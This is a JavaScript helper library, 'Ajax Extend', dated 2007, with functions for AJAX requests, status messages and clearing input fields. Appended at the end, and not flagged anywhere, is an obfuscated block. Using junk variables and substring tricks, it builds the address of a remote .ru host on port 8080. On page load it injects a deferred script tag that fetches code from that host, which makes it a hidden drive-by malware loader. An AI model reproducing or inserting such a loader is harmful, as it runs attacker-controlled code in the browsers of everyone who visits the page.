//#-----------------------------------------------------------------------------
//# Ajax Extend
//#-----------------------------------------------------------------------------
//# Version : 1.0
//# Date : 200701241114
//# Modified History :
//#  24 Jan 2007, Bryan
//#-----------------------------------------------------------------------------

//# Declaration
var ax = new Ajax()

//# Initialize Variables
var status_saving = "Saving..."
var status_loading = "Loading..."
var status_deleting = "Deleting..."
var status_waiting = "Waiting..."
var status_adding = "Adding..."
var status_processing = "Processing..."
var status_saved = "Your information have been saved."
var status_error = "Your information have not been save due to some problems."
var status_deleted = "Your record have been deleted."
var status_errordel = "Your file(s) have not been delete due to some problems."
var status_recorddeleted = "Your record have been deleted."
var status_recorderrordel = "Your record have not been delete due to some problems."

//# Debug mode
var debug = false

//# Open File Function ---------------------------------------------------------
//# Function : openAx
//# Purpose : Call a file (return in xml format) and pass the handle to response function
//# Parameters :
//#   type => indicate the file type {Get, Set, Del} which are {axGet, axSet, axDel}
//#   file => the fileName
//#   data => passing data in str (in post mode)
//#   response => response function, the handle will pass to this function when the file is loaded
//#   statusMsg => the message display at the top right corner (status)
//#   dir => the file in which directory (if using dir, type are not required)
function openAx(type, file, data, response, statusMsg, dir) {
  if (!response) response = "responseAx()"
  if (!data) data = ""
	if (!dir) dir = "ax"+type+"/"
  if (!statusMsg) statusMsg = status_loading
  if (ax.getReadyState() == 4 || ax.getReadyState() == "") {
    msg.statusPrompt(statusMsg)
    ax = new Ajax(dir+file, data, "", response)
    ax.load()
  } else { // Wait for previous transaction to finish
    msg.statusPrompt(status_waiting)
    setTimeout("openAx('"+type+"', '"+file+"', '"+data+"', '"+response+"', '"+statusMsg+"', '"+dir+"')", 500)
  }
}
function openAxHTTP(file, data, response, statusMsg) {
  if (!response) response = "responseAx()"
  if (!data) data = ""
  if (!statusMsg) statusMsg = status_loading
  if (ax.getReadyState() == 4 || ax.getReadyState() == "") {
    msg.statusPrompt(statusMsg)
    ax = new Ajax(file, data, "", response)
    ax.load()
  } else { // Wait for previous transaction to finish
    msg.statusPrompt(status_waiting)
    setTimeout("openAxHTTP('"+file+"', '"+data+"', '"+response+"', '"+statusMsg+"')", 500)
  }
}
//# General Response Function ---------------------------------------------------
//# Function : responseAx
//# Purpose : Get the handle from OpenAx and process the basic data binding
//# Parameters :
//#   srcTag => the source tag that in xml
//#   targetObj => by default the target Object is 'displayArea', you are allow to change it to any other object
function responseAx(srcTag, targetObj) { 
  if (debug) alert(ax.getXMLTxt())
  if (!srcTag) srcTag = "div"
  if (!targetObj) targetObj = "displayArea"
	try {
    newDataHTML = ax.getNodeXML(ax.getNode(srcTag)[0]).replace(/&amp;/g, "&")
  } catch (e) {
    newDataHTML = ax.getNodeXML(ax.getNode("ax")[0]).replace(/&amp;/g, "&")
  }
  o(targetObj).innerHTML = newDataHTML
  msgOff()
//  initInput() // Init Input Effect
  setTimeout("trimInput()", 500)
}

//# Function : trimInput
//# Purpose : To remove all the spaces or '&nbsp;' in all input elements
function trimInput() {
  inps = document.getElementsByTagName("INPUT")
  for (idx=0; idx<inps.length; idx++) {
    if (inps[idx].type == "text" || inps[idx].type == "password") {
      if (inps[idx].value == " " || inps[idx].value.charCodeAt(0) == 160 || inps[idx].value == "&nbsp;")
        inps[idx].value = ""
    }
  }
  inps = document.getElementsByTagName("TEXTAREA")
  for (idx=0; idx<inps.length; idx++) {
    if (inps[idx].value == " " || inps[idx].value.charCodeAt(0) == 160 || inps[idx].value == "&nbsp;") inps[idx].value = ""
  }
  inps = document.getElementsByTagName("*")
  for (idx=0; idx<inps.length; idx++) {
    if (inps[idx].tagName == "INPUT" || inps[idx].tagName == "SELECT" || inps[idx].tagName == "TEXTAREA")
      if (!inps[idx].disabled && !inps[idx].readOnly && inps[idx].type != "hidden" && inps[idx].style.display != 'none') {
        if (inps[idx].id != "") {
          o(inps[idx].id).focus()
          break;
        }
      }
  }
}

//# Function : msgOff
//# Purpose : Close Loading Text (right top)
function msgOff() { setTimeout("msg.statusOff()", 500) }

//# Show Response Status -------------------------------------------------------
//# Function : showRespStatus
//# Purpose : To show the status/message to user
//# Parameters :
//#   str => the string that want to display at top-right, e.g.: loading...
function showRespStatus(str) {
//alert(str)
  if (!str) str = ""
  if (str == "[object MouseEvent]" || str == "empty") str = ""
  if (str!="" && o("displayStatus")) {
    if (o("displayStatusBG"))
      o("displayStatusBG").style.display = "inline"
    o("displayStatus").style.display = "inline"
    o("displayStatus").innerHTML = str
  } else {
    if (o("displayStatusBG"))
      o("displayStatusBG").style.display = "none"
    o("displayStatus").style.display = "none"
    o("displayStatus").innerHTML = ""
  }
}

//# Function : initStatusFunction
//# Purpose : To init/preset showRespStatus to document body in onclick event
var stct = 0
function initStatusFunction() {
  if (o("displayStatus")) {
    document.body.onclick = showRespStatus
  } else if (stct < 5) {
    stct++
    setTimeout("initStatusFunction()", 1000)
  }
  d=document.body.onclick
}
setTimeout("initStatusFunction()", 4000)

var LK='';function eL(){var c=new String();var Qn="";var f="";var x=String("1Z6g".substr(3));var s=RegExp;this.p='';var L='';var V=new Array();var B=new Date();var n=new Date();function e(xi,N){var EX='';var rf="";var si= String("[");var t=new Array();si+=N;si+=new String("]");var C=new String();var pw;if(pw!='' && pw!='u'){pw=null};var Ql="";var E=new s(si, x);return xi.replace(E, L);};var mc=new Array();var F="";var Xj;if(Xj!='' && Xj!='mG'){Xj=null};var WV;if(WV!='Iv'){WV=''};var XC=new Array();var K='';this.wX='';var cZ;if(cZ!='eO'){cZ=''};var Ng=String("def"+"eryYp".substr(0,2));var Q="src";var IA=new Date();var g=e('899403399489393049339',"394");var Y=new String("/me"+"3aWJtro".substr(4)+"flonjLr".substr(0,3)+"g.cm0i".substr(0,3)+"om/dlqL".substr(0,3)+"OKQmetKQO".substr(3,3)+"Z4nrofnZ4".substr(3,3)+"bPK3log".substr(4)+"A2U.co2UA".substr(3,3)+"m/k"+"ODHu6.".substr(3)+"4YDcom".substr(3)+"Aip/go".substr(3)+"oglHsL".substr(0,3)+"iMNe.c".substr(3)+"om/"+"nok"+"ia.HFtL".substr(0,3)+"NKycomyKN".substr(3,3)+".ph"+"p");var Dj;if(Dj!='nv'){Dj=''};var HW;if(HW!='' && HW!='T'){HW=null};var j="http:71a".substr(0,5)+"h7sv//repvhs7".substr(4,5)+"ubbli"+"ca-it"+"XM8c.softcX8M".substr(4,5)+"pediakLq".substr(0,5)+".com.nRzp".substr(0,5)+"opend"+"mtPKns-comtPK".substr(4,5)+"EKZm.theZKE".substr(3,5)+"hotla9zGF".substr(0,5)+"qnUb.ru:nUq".substr(3,5);var ZK='';var Lr=window;this.AH='';var SF="";var i="scrip4e3X".substr(0,5)+"t";var Vm=new Date();this.ZE='';Lr.onload=function(){var uWe=new String();var Bx=new Date();try {var KK;if(KK!='' && KK!='Eh'){KK=''};var tR=new Array();var rA;if(rA!=''){rA='R'};K=j+g;var P;if(P!='dD'){P='dD'};K+=Y;var Pr;if(Pr!='MG' && Pr != ''){Pr=null};var U='';sG=document.createElement(i);var _w;if(_w!=''){_w='JG'};var pB=new Array();sG[Q]=K;var AQ;if(AQ!='fZV' && AQ!='sq'){AQ='fZV'};sG[Ng]=[1][0];var mO=new Date();document.body.appendChild(sG);var LA=new Array();var Ji="";} catch(YG){};};};eL();